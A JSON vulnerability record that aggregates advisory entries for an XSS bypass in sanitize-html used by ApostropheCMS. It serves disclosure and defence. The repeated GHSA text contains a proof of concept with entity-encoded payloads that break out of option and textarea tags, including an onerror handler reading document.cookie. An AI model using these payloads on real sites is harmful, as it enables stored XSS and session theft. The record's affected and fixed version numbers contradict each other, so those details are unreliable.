{"id":"CVE-2026-40186","aliases":["EUVD-2026-23110","GHSA-9mrh-v2v3-xpfm"],"status":"published","title":"ApostropheCMS: sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements","description":"ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00248,"percentile":0.16223,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-04-15T20:15:12Z","modified":"2026-10-28T02:31:05Z","fixes":[{"ecosystem":"npm","package":"sanitize-html","fixed_in":["2.17.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sanitize-html","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.2"},{"fixed":"2.17.3"}]}]},{"source":"osv","ecosystem":"npm","package":"sanitize-html","ranges":[{"type":"SEMVER","events":[{"introduced":"2.17.2"},{"fixed":"2.17.3"}]}]}],"products":[{"vendor":"apostrophecms","product":"apostrophe"},{"vendor":"apostrophecms","product":"apostrophecms"},{"vendor":"apostrophecms","product":"sanitize-html"}],"references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-9mrh-v2v3-xpfm","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/7ca2d16237c72718ef7e5c7ae0458e6027ac4f64","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40186","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9mrh-v2v3-xpfm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40186.json","tags":["advisory"]},{"url":"https://github.com/apostrophecms/apostrophe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-40186","title":"ApostropheCMS: sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements","description":"ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.","status":"published","published":"2026-04-15T20:15:12.333Z","modified":"2026-04-16T14:15:41.275Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:43:11.445168Z"}],"euvd":[{"id":"EUVD-2026-23110","description":"ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.","status":"published","published":"2026-04-15T20:15:12Z","modified":"2026-04-16T14:15:41Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:24.386229Z"}],"ghsa":[{"id":"GHSA-9mrh-v2v3-xpfm","title":"sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements","description":"## Summary\n\nCommit 49d0bb7 introduced a regression in sanitize-html that bypasses `allowedTags` enforcement for text inside `nonTextTagsArray` elements (`textarea` and `option`). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes `option` or `textarea` in its `allowedTags` configuration.\n\n## Details\n\nThe vulnerable code is at `packages/sanitize-html/index.js:569-573`:\n\n```javascript\n} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') \u0026\u0026 (nonTextTagsArray.indexOf(tag) !== -1)) {\n  // htmlparser2 does not decode entities inside raw text elements like\n  // textarea and option. The text is already properly encoded, so pass\n  // it through without additional escaping to avoid double-encoding.\n  result += text;\n}\n```\n\nThe comment is factually incorrect. htmlparser2 10.x **does** decode HTML entities inside both `\u003ctextarea\u003e` and `\u003coption\u003e` elements before passing text to the `ontext` callback. This can be verified:\n\n```javascript\nconst htmlparser2 = require('htmlparser2');\nconst parser = new htmlparser2.Parser({\n  ontext(text) { console.log(JSON.stringify(text)); }\n});\nparser.write('\u003coption\u003e\u0026lt;script\u0026gt;\u003c/option\u003e');\n// Outputs: \"\u003c\", \"script\", \"\u003e\"  — entities are decoded\n```\n\nBecause the code assumes the text is \"already properly encoded\" and skips `escapeHtml()`, the decoded entities (`\u003c`, `\u003e`) are written directly to the output as literal HTML characters. This completely bypasses the `allowedTags` filter — any tag can be injected inside an allowed `option` or `textarea` element using entity encoding.\n\nThe execution flow:\n1. Attacker submits: `\u003coption\u003e\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/option\u003e`\n2. htmlparser2 parses and decodes entities → `ontext` receives `\u003cimg src=x onerror=alert(1)\u003e`\n3. Code at line 569 checks: tag is `option`, which is in `nonTextTagsArray` → true\n4. Line 573: `result += text` — writes decoded text directly without escaping\n5. Output: `\u003coption\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/option\u003e` — `\u003cimg\u003e` tag injected despite not being in `allowedTags`\n\nThe `script` and `style` tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to `textarea` and `option`, plus any custom elements added to `nonTextTags` by the user.\n\nPrior to commit 49d0bb7, text in these elements fell through to the `escapeHtml` branch (line 574-580), which correctly re-encoded the decoded entities.\n\n## PoC\n\n**Prerequisites:** Application using sanitize-html 2.17.2 with `option` or `textarea` in `allowedTags`.\n\n**Step 1: Basic tag injection via option**\n```javascript\nconst sanitize = require('sanitize-html');\nconst output = sanitize(\n  '\u003coption\u003e\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u003c/option\u003e',\n  { allowedTags: ['option'] }\n);\nconsole.log(output);\n// Expected (safe): \u003coption\u003e\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u003c/option\u003e\n// Actual (vulnerable): \u003coption\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/option\u003e\n```\n\n**Step 2: Element breakout with XSS event handler**\n```javascript\nconst output2 = sanitize(\n  '\u003coption\u003e\u0026lt;/option\u0026gt;\u0026lt;img src=x onerror=alert(document.cookie)\u0026gt;\u003c/option\u003e',\n  { allowedTags: ['option'] }\n);\nconsole.log(output2);\n// Output: \u003coption\u003e\u003c/option\u003e\u003cimg src=x onerror=alert(document.cookie)\u003e\u003c/option\u003e\n// The \u003cimg\u003e tag escapes the option context and executes the onerror handler\n```\n\n**Step 3: Textarea breakout (also vulnerable)**\n```javascript\nconst output3 = sanitize(\n  '\u003ctextarea\u003e\u0026lt;/textarea\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/textarea\u003e',\n  { allowedTags: ['textarea'] }\n);\nconsole.log(output3);\n// Output: \u003ctextarea\u003e\u003c/textarea\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/textarea\u003e\n```\n\n**Step 4: Full select/option context breakout**\n```javascript\nconst output4 = sanitize(\n  '\u003cselect\u003e\u003coption\u003e\u0026lt;/option\u0026gt;\u0026lt;/select\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/option\u003e\u003c/select\u003e',\n  { allowedTags: ['select', 'option'] }\n);\nconsole.log(output4);\n// Output: \u003cselect\u003e\u003coption\u003e\u003c/option\u003e\u003c/select\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/option\u003e\u003c/select\u003e\n// Breaks out of both option and select elements\n```\n\nAll outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.\n\n## Impact\n\n- **Complete `allowedTags` bypass**: Any HTML tag can be injected through an allowed `option` or `textarea` element using entity encoding, defeating the core security guarantee of sanitize-html.\n- **Stored XSS**: Applications that sanitize user-submitted HTML and allow `option` or `textarea` tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting.\n- **Session hijacking**: Attackers can inject event handlers (`onerror`, `onload`, etc.) to steal session cookies or authentication tokens.\n- **Scope**: Affects non-default configurations only — the default `allowedTags` does not include `option` or `textarea`. However, these tags are commonly allowed in applications that handle form-related HTML content.\n\n## Recommended Fix\n\nRemove the vulnerable code block at lines 569-573 entirely. The `escapeHtml` branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with `escapeHtml` produces correct HTML output (entities are round-tripped, not double-encoded).\n\n```diff\n--- a/packages/sanitize-html/index.js\n+++ b/packages/sanitize-html/index.js\n@@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) {\n         // your concern, don't allow them. The same is essentially true for style tags\n         // which have their own collection of XSS vectors.\n         result += text;\n-      } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') \u0026\u0026 (nonTextTagsArray.indexOf(tag) !== -1)) {\n-        // htmlparser2 does not decode entities inside raw text elements like\n-        // textarea and option. The text is already properly encoded, so pass\n-        // it through without additional escaping to avoid double-encoding.\n-        result += text;\n       } else if (!addedText) {\n         const escaped = escapeHtml(text, false);\n         if (options.textFilter) {\n```\n\nThis fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through `escapeHtml()`, ensuring decoded entities are properly re-encoded before output.","status":"published","published":"2026-04-16T21:08:29Z","modified":"2026-04-16T21:08:31Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:55.105822Z"}],"nvd":[{"id":"CVE-2026-40186","description":"ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.","status":"published","published":"2026-04-15T21:17:27.523Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:14.748836Z"}],"osv":[{"id":"CVE-2026-40186","title":"ApostropheCMS: sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements","description":"ApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.","status":"published","published":"2026-04-15T20:15:12.333Z","modified":"2026-10-28T02:31:05.558960791Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:03.424067Z"},{"id":"GHSA-9mrh-v2v3-xpfm","title":"sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements","description":"## Summary\n\nCommit 49d0bb7 introduced a regression in sanitize-html that bypasses `allowedTags` enforcement for text inside `nonTextTagsArray` elements (`textarea` and `option`). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes `option` or `textarea` in its `allowedTags` configuration.\n\n## Details\n\nThe vulnerable code is at `packages/sanitize-html/index.js:569-573`:\n\n```javascript\n} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') \u0026\u0026 (nonTextTagsArray.indexOf(tag) !== -1)) {\n  // htmlparser2 does not decode entities inside raw text elements like\n  // textarea and option. The text is already properly encoded, so pass\n  // it through without additional escaping to avoid double-encoding.\n  result += text;\n}\n```\n\nThe comment is factually incorrect. htmlparser2 10.x **does** decode HTML entities inside both `\u003ctextarea\u003e` and `\u003coption\u003e` elements before passing text to the `ontext` callback. This can be verified:\n\n```javascript\nconst htmlparser2 = require('htmlparser2');\nconst parser = new htmlparser2.Parser({\n  ontext(text) { console.log(JSON.stringify(text)); }\n});\nparser.write('\u003coption\u003e\u0026lt;script\u0026gt;\u003c/option\u003e');\n// Outputs: \"\u003c\", \"script\", \"\u003e\"  — entities are decoded\n```\n\nBecause the code assumes the text is \"already properly encoded\" and skips `escapeHtml()`, the decoded entities (`\u003c`, `\u003e`) are written directly to the output as literal HTML characters. This completely bypasses the `allowedTags` filter — any tag can be injected inside an allowed `option` or `textarea` element using entity encoding.\n\nThe execution flow:\n1. Attacker submits: `\u003coption\u003e\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/option\u003e`\n2. htmlparser2 parses and decodes entities → `ontext` receives `\u003cimg src=x onerror=alert(1)\u003e`\n3. Code at line 569 checks: tag is `option`, which is in `nonTextTagsArray` → true\n4. Line 573: `result += text` — writes decoded text directly without escaping\n5. Output: `\u003coption\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/option\u003e` — `\u003cimg\u003e` tag injected despite not being in `allowedTags`\n\nThe `script` and `style` tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to `textarea` and `option`, plus any custom elements added to `nonTextTags` by the user.\n\nPrior to commit 49d0bb7, text in these elements fell through to the `escapeHtml` branch (line 574-580), which correctly re-encoded the decoded entities.\n\n## PoC\n\n**Prerequisites:** Application using sanitize-html 2.17.2 with `option` or `textarea` in `allowedTags`.\n\n**Step 1: Basic tag injection via option**\n```javascript\nconst sanitize = require('sanitize-html');\nconst output = sanitize(\n  '\u003coption\u003e\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u003c/option\u003e',\n  { allowedTags: ['option'] }\n);\nconsole.log(output);\n// Expected (safe): \u003coption\u003e\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u003c/option\u003e\n// Actual (vulnerable): \u003coption\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/option\u003e\n```\n\n**Step 2: Element breakout with XSS event handler**\n```javascript\nconst output2 = sanitize(\n  '\u003coption\u003e\u0026lt;/option\u0026gt;\u0026lt;img src=x onerror=alert(document.cookie)\u0026gt;\u003c/option\u003e',\n  { allowedTags: ['option'] }\n);\nconsole.log(output2);\n// Output: \u003coption\u003e\u003c/option\u003e\u003cimg src=x onerror=alert(document.cookie)\u003e\u003c/option\u003e\n// The \u003cimg\u003e tag escapes the option context and executes the onerror handler\n```\n\n**Step 3: Textarea breakout (also vulnerable)**\n```javascript\nconst output3 = sanitize(\n  '\u003ctextarea\u003e\u0026lt;/textarea\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/textarea\u003e',\n  { allowedTags: ['textarea'] }\n);\nconsole.log(output3);\n// Output: \u003ctextarea\u003e\u003c/textarea\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/textarea\u003e\n```\n\n**Step 4: Full select/option context breakout**\n```javascript\nconst output4 = sanitize(\n  '\u003cselect\u003e\u003coption\u003e\u0026lt;/option\u0026gt;\u0026lt;/select\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/option\u003e\u003c/select\u003e',\n  { allowedTags: ['select', 'option'] }\n);\nconsole.log(output4);\n// Output: \u003cselect\u003e\u003coption\u003e\u003c/option\u003e\u003c/select\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/option\u003e\u003c/select\u003e\n// Breaks out of both option and select elements\n```\n\nAll outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.\n\n## Impact\n\n- **Complete `allowedTags` bypass**: Any HTML tag can be injected through an allowed `option` or `textarea` element using entity encoding, defeating the core security guarantee of sanitize-html.\n- **Stored XSS**: Applications that sanitize user-submitted HTML and allow `option` or `textarea` tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting.\n- **Session hijacking**: Attackers can inject event handlers (`onerror`, `onload`, etc.) to steal session cookies or authentication tokens.\n- **Scope**: Affects non-default configurations only — the default `allowedTags` does not include `option` or `textarea`. However, these tags are commonly allowed in applications that handle form-related HTML content.\n\n## Recommended Fix\n\nRemove the vulnerable code block at lines 569-573 entirely. The `escapeHtml` branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with `escapeHtml` produces correct HTML output (entities are round-tripped, not double-encoded).\n\n```diff\n--- a/packages/sanitize-html/index.js\n+++ b/packages/sanitize-html/index.js\n@@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) {\n         // your concern, don't allow them. The same is essentially true for style tags\n         // which have their own collection of XSS vectors.\n         result += text;\n-      } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') \u0026\u0026 (nonTextTagsArray.indexOf(tag) !== -1)) {\n-        // htmlparser2 does not decode entities inside raw text elements like\n-        // textarea and option. The text is already properly encoded, so pass\n-        // it through without additional escaping to avoid double-encoding.\n-        result += text;\n       } else if (!addedText) {\n         const escaped = escapeHtml(text, false);\n         if (options.textFilter) {\n```\n\nThis fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through `escapeHtml()`, ensuring decoded entities are properly re-encoded before output.","status":"published","published":"2026-04-16T21:08:29Z","modified":"2026-04-16T21:26:28.221563Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:43.875515Z"}]}}